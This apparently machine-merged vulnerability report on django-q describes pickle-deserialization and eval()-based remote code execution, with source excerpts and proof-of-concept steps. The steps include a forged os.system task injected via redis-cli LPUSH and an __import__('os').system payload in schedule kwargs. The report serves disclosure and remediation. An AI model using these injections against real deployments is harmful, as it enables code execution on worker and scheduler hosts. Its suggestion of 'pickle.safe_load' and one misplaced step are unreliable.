Here is the combined list of vulnerabilities, formatted as markdown:
-
Vulnerability Name: Insecure Deserialization via Pickle in Task Processing
-
Description:
- Django-q utilizes
pickle
serialization throughdjango_q.signing.PickleSerializer
to convert tasks into a byte stream before signing and storing them in the broker. - The
SignedPackage.dumps
method employspickle.dumps
to serialize the task data. - Subsequently, the
SignedPackage.loads
method usespickle.loads
to deserialize the task data when retrieving it from the broker or cache for processing bypusher
process. pickle.loads
is inherently vulnerable to arbitrary code execution when handling untrusted data, as deserialization can be manipulated to execute malicious code.- Should an attacker manage to compromise the
SECRET_KEY
or circumvent signature verification, or if the broker is misconfigured or exposed, they could inject a maliciously crafted pickled payload into the task queue. - When a worker processes this tampered task, the call to
SignedPackage.loads
inpusher
will deserialize the malicious payload, leading to arbitrary code execution within the worker's environment during task unpacking inpusher
before task is placed intotask_queue
.
- Django-q utilizes
-
Impact:
- Critical: Remote Code Execution (RCE). Exploitation of this vulnerability can lead to remote code execution (RCE) on the host running worker processes. An attacker may execute arbitrary system commands with the same privileges as the worker process, compromising confidentiality, integrity, and availability of the system. Successful exploitation allows an attacker to gain complete control over the worker server, potentially leading to data breaches, service disruption, and further attacks on the infrastructure and the potential for lateral movement to other parts of the infrastructure.
-
Vulnerability Rank: critical
-
Currently Implemented Mitigations:
- Task packages are signed using Django's signing mechanism (
django.core.signing
) viaSignedPackage
class indjango_q/signing.py
. This is intended to prevent tampering with the task data in transit, so that any alteration of the payload should, in theory, invalidate the signature. - Deserialization is performed only after a successful signature check.
- The
SignedPackage.dumps
andSignedPackage.loads
methods use a SECRET_KEY and PREFIX salt from Django settings to enhance the signature's security.
- Task packages are signed using Django's signing mechanism (
-
Missing Mitigations:
- Input Validation and Sanitization: The application lacks proper validation and sanitization of task data before deserialization using
pickle.loads
. While signing prevents tampering in transit, it does not prevent deserialization vulnerabilities if the original serialized data is malicious. Implement rigorous input validation and sanitization for task functions and arguments before serialization. This should include checks to ensure that the function and arguments are expected and safe, reducing the attack surface. - Alternative Serialization Methods: Relying on
pickle
for deserialization of potentially untrusted data is inherently risky. Moving away from pickle to a safer serialization format like JSON (if feasible for the data structures) would significantly reduce this risk. If pickle is necessary, consider usingpickle.safe_load
if available and applicable, or explore other secure deserialization practices and replacepickle
with safer serialization formats likejson
or consider using libraries likemarshmallow
for controlled serialization and deserialization. These alternatives are less prone to arbitrary code execution vulnerabilities. - Encryption of Task Packages: In addition to signing, implement encryption of task packages to protect confidentiality and integrity. Encryption ensures that even if an attacker intercepts a task package, they cannot read or modify its contents without the decryption key.
- Robust SECRET_KEY Management: Enhance
SECRET_KEY
management practices, including secure storage, regular rotation, and protection against unauthorized access. Employ methods like environment variables, vault systems, or hardware security modules to manage the key securely. - Runtime Restrictions, Sandboxing, or Whitelisting: The project still relies entirely on Python’s built‑in
pickle
module for (de)serialization without additional runtime restrictions, sandboxing, or whitelisting of allowed object types. - Fallback to Secure Serialization: There is no fallback to a more secure serialization mechanism (for example, JSON) in production scenarios where untrusted data might be fed into the broker.
- Input Validation and Sanitization: The application lacks proper validation and sanitization of task data before deserialization using
-
Preconditions:
- An attacker needs to be able to submit tasks to the django-q queue or inject or modify messages in the broker. This is often possible if task queuing is exposed through a web interface or API, even indirectly, or if a Redis, Disque, or similar message broker is misconfigured or publicly accessible.
- The django-q worker needs to be configured to process tasks from a queue that an attacker can influence.
- The attacker must know, guess, or force the use of the proper signature (by compromising or brute‑forcing the SECRET_KEY), thereby making the malicious payload pass the signature check, or compromise the
SECRET_KEY
or circumvent signature verification. - An insider threat scenario where an authorized user with task creation privileges intentionally injects malicious tasks.
-
Source Code Analysis:
-
django_q/signing.py
:import pickle from django_q import core_signing as signing from django_q.conf import Conf BadSignature = signing.BadSignature class SignedPackage: """Wraps Django's signing module with custom Pickle serializer.""" @staticmethod def dumps(obj, compressed: bool = Conf.COMPRESSED) -> str: return signing.dumps( obj, key=Conf.SECRET_KEY, salt=Conf.PREFIX, compress=compressed, serializer=PickleSerializer, ) @staticmethod def loads(obj) -> any: return signing.loads( obj, key=Conf.SECRET_KEY, salt=Conf.PREFIX, serializer=PickleSerializer ) class PickleSerializer: """Simple wrapper around Pickle for signing.dumps and signing.loads.""" @staticmethod def dumps(obj) -> bytes: return pickle.dumps(obj, protocol=pickle.HIGHEST_PROTOCOL) @staticmethod def loads(data) -> any: return pickle.loads(data)
- The
SignedPackage
class is responsible for signing and loading task packages. SignedPackage.loads
usessigning.loads
fromdjango_q.core_signing
withPickleSerializer
.PickleSerializer.loads
directly callspickle.loads(data)
without any input validation, which is the root cause of the vulnerability.
- The
-
django_q/core_signing.py
:import datetime import time import zlib from django.core.signing import BadSignature, JSONSerializer, SignatureExpired from django.core.signing import Signer as Sgnr from django.core.signing import TimestampSigner as TsS from django.core.signing import b64_decode, dumps from django.utils import baseconv from django.utils.crypto import constant_time_compare from django.utils.encoding import force_bytes, force_str dumps = dumps """ The loads function is the same as the `django.core.signing.loads` function The difference is that `this` loads function calls `TimestampSigner` and `Signer` """ def loads( s, key=None, salt: str = "django.core.signing", serializer=JSONSerializer, max_age=None, ): """ Reverse of dumps(), raise BadSignature if signature fails. The serializer is expected to accept a bytestring. """ # TimestampSigner.unsign() returns str but base64 and zlib compression # operate on bytes. base64d = force_bytes(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age)) decompress = False if base64d[:1] == b".": # It's compressed; uncompress it first base64d = base64d[1:] decompress = True data = b64_decode(base64d) if decompress: data = zlib.decompress(data) return serializer().loads(data) # ... (Signer and TimestampSigner classes)
- This file provides the
loads
function used bySignedPackage.loads
. - It includes signature verification using
TimestampSigner.unsign
, which confirms the integrity of the data during transit. - However, the vulnerability persists because after signature verification, the data is still deserialized using the potentially unsafe
PickleSerializer().loads(data)
. The signature only ensures that the data hasn't been tampered with after signing, but not that the original serialized data is safe.
- This file provides the
-
django_q/cluster.py
:def worker( task_queue: Queue, result_queue: Queue, timer: Value, timeout: int = Conf.TIMEOUT ): # ... for task in iter(task_queue.get, "STOP"): # ... try: f = task["func"] # if it's not an instance try to get it from the string if not callable(task["func"]): f = pydoc.locate(f) # potential code injection if task["func"] is user controlled and not validated # ... res = f(*task["args"], **task["kwargs"]) # execution of deserialized function result = (res, True) except Exception as e: result = (f"{e} : {traceback.format_exc()}", False) # ... # ... def pusher(task_queue: Queue, event: Event, broker: Broker = None): # ... while True: # ... if task_set: for task in task_set: ack_id = task[0] # unpack the task try: task = SignedPackage.loads(task[1]) # Deserialization happens here except (TypeError, BadSignature) as e: logger.error(e, traceback.format_exc()) broker.fail(ack_id) continue task["ack_id"] = ack_id task_queue.put(task) # ...
- The
pusher
function incluster.py
is where tasks are dequeued from the broker and deserialized usingSignedPackage.loads(task[1])
. This is the entry point for the malicious payload. - The
worker
function then retrieves tasks from thetask_queue
and executes the deserialized functionf
with its arguments.
- The
-
-
Security Test Case:
- Setup: Deploy a publicly accessible instance of a django-q application. Ensure you have access to configure and monitor this instance. For demonstration purposes, you may need to simulate or gain access to the
SECRET_KEY
. In a real-world scenario, assume the attacker has found a way to compromise or guess the key, or is attempting to exploit a bypass in signature verification, or that the broker (e.g., Redis) is accessible without strong authentication. Configure the Django settings with a known or weakSECRET_KEY
. - Craft Malicious Payload: Prepare a Python dictionary that represents a legitimate task structure, but replace the function (
func
) to be executed with a malicious command. For example, useos.system('touch /tmp/django_q_pwned')
as the malicious function. Alternatively, you could inject malicious code within the arguments (args
orkwargs
) that gets executed upon deserialization. Create a custom Python script that uses Python’spickle
module to construct a payload that, when deserialized, executes an arbitrary command (for example, runningos.system("touch /tmp/exploited")
).
import os import pickle from django_q.signing import SignedPackage malicious_task = { 'name': 'malicious_task', 'func': 'os.system', 'args': ('touch /tmp/django_q_pwned',), 'kwargs': {}, 'started': None, 'stopped': None, 'success': False, 'result': None, }
- Serialize the Malicious Payload: Use
pickle.dumps
from the standard Python library to serialize the malicious task dictionary into a byte stream.
pickled_payload = pickle.dumps(malicious_task, protocol=pickle.HIGHEST_PROTOCOL)
- Sign the Malicious Payload: Employ the
django_q.signing.SignedPackage.dumps
method, or directly usedjango.core.signing.dumps
withPickleSerializer
, along with the compromisedSECRET_KEY
to sign the pickled payload. This step creates a signed malicious task package that django-q workers will recognize as valid if the key is indeed compromised or signature verification is bypassed. Sign this payload using the project’s signing function (e.g. viaSignedPackage.dumps
) so that it passes the signature check.
from django.conf import settings settings.configure(SECRET_KEY='your_django_secret_key', DJANGO_Q_PREFIX='django_q') # Replace 'your_django_secret_key' with the actual SECRET_KEY signed_payload = SignedPackage.dumps(malicious_task) # If SECRET_KEY is configured in Django settings # OR, if you want to manually sign (e.g., for testing with a known key): # from django.core import signing # signed_payload = signing.dumps(malicious_task, key=settings.SECRET_KEY, salt=settings.DJANGO_Q_PREFIX, serializer=PickleSerializer)
- Inject Malicious Task into Queue: Manually inject this crafted, signed malicious package into the django-q task queue. Depending on the broker being used:
- For Redis broker: Use
redis-cli
to connect to the Redis instance and executeLPUSH <task_queue_key> <malicious_signed_package>
. The task queue key is usuallydjango_q:q
. Inject the crafted payload directly into the broker (for instance, using the Redis CLI).
redis-cli LPUSH django_q:q "<signed_payload_string>"
- For ORM broker: Directly insert a new record into the
django_q_ormq
table with the malicious payload. You need to serialize the signed payload to string before inserting.
from django_q.models import OrmQ import base64 OrmQ.objects.create(key='django_q', payload=base64.b64encode(signed_payload.encode()).decode('utf-8'))
- For Redis broker: Use
- Trigger Task Processing: Allow the django-q cluster (sentinel, pusher, worker, monitor) to be running. The pusher will pick up the task from the queue. Allow the scheduler to run so that it processes this schedule record. When a worker process retrieves the malicious task, verify (by checking for expected side effects such as file creation or log entries) that the payload executes and grants remote code execution.
- Verify Code Execution: After the pusher has processed the task, verify if the malicious code was executed on the worker machine. For the example payload
os.system('touch /tmp/django_q_pwned')
, check if a file nameddjango_q_pwned
has been created in the/tmp/
directory of the worker's filesystem. If the file exists, it confirms successful Remote Code Execution (RCE). Demonstrate that replacing the unsafepickle.loads
with a safer alternative (such as using JSON orpickle.safe_load
if applicable and available) prevents the malicious code from executing.
- Setup: Deploy a publicly accessible instance of a django-q application. Ensure you have access to configure and monitor this instance. For demonstration purposes, you may need to simulate or gain access to the
This security test case effectively demonstrates how an attacker, by exploiting insecure deserialization via Pickle and potentially compromising the SECRET_KEY
or bypassing signature checks, or by exploiting a misconfigured broker, can achieve remote code execution on django-q worker instances. The vulnerability exists in the pusher
process during task unpacking before the task is even assigned to a worker for execution.
- Vulnerability Name: Unsafe Use of Eval() in Schedule Parameter Parsing
- Description:
The scheduler code expects schedule records to provide keyword arguments (in the
kwargs
field) as a string that can be converted into a dictionary. To perform this conversion, the project uses Python’seval()
function wrapped as:Becauseif s.kwargs: try: kwargs = eval(f"dict({s.kwargs})") except SyntaxError: kwargs = {}
eval()
executes its input as arbitrary Python code, if an attacker can create or modify a schedule record—via a poorly secured Django admin interface or an exposed scheduling API—they can insert malicious Python code within the string. When the scheduler processes this record, the dangerous code withins.kwargs
is executed. - Impact:
- High: Remote Code Execution (RCE). An attacker who successfully injects arbitrary Python code into the schedule’s
kwargs
can achieve remote code execution in the context of the scheduler. Depending on the privileges of the scheduler, this may allow full system compromise.
- High: Remote Code Execution (RCE). An attacker who successfully injects arbitrary Python code into the schedule’s
- Vulnerability Rank: High
- Currently Implemented Mitigations:
- The code wraps the evaluation in a try/except block, such that if a
SyntaxError
is raised the schedule is processed with an empty dictionary. - It is assumed that schedule records are created exclusively by trusted administrators.
- The code wraps the evaluation in a try/except block, such that if a
- Missing Mitigations:
- Use of
ast.literal_eval()
: Relying oneval()
to convert unsanitized input remains inherently unsafe. A secure alternative such as Python’sast.literal_eval()
should be used to safely parse literals. - Input Validation and Sanitization: There is no active validation or sanitization of the string contained in
s.kwargs
before it is passed toeval()
. Input validation should be implemented to sanitize thes.kwargs
string before usingeval()
or preferablyast.literal_eval()
.
- Use of
- Preconditions:
- The attacker must be able to create or modify schedule records (for example, through an exposed admin interface or an unsecured scheduling API endpoint).
- The scheduler must run and process the record containing the malicious
kwargs
string.
- Source Code Analysis:
- In the scheduler routine (as evidenced by tests in
test_scheduler.py
and documented in the code comments), the schedule record’skwargs
is converted usingeval(f"dict({s.kwargs})")
without any restrictions. - This effectively means that any malicious payload inserted into the
kwargs
field will be executed in the Python runtime.
- In the scheduler routine (as evidenced by tests in
- Security Test Case:
- Access Schedule Creation Interface: In a controlled environment, obtain access to the schedule creation interface (for example, via the Django admin or a scheduling API).
- Create Malicious Schedule Record: Create a schedule record whose
kwargs
field is set to a malicious string. For instance, use a payload such as:"__import__('os').system('touch /tmp/exploited') or {}"
- Trigger Scheduler: Allow the scheduler to run so that it processes this schedule record.
- Verify Code Execution: Verify that the injected command is executed by checking for its side‐effect (e.g., confirm that the file
/tmp/exploited
has been created). - Test Mitigation: Demonstrate that replacing the unsafe
eval()
with a safer alternative (such asast.literal_eval()
) prevents the malicious code from executing.